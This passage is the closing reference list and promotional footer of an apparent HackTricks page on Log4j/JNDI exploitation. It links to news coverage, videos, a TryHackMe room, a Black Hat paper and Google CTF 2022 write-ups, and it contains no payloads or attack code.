[https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/) * [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4) * [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar) * [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78) * [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) * [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) * [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}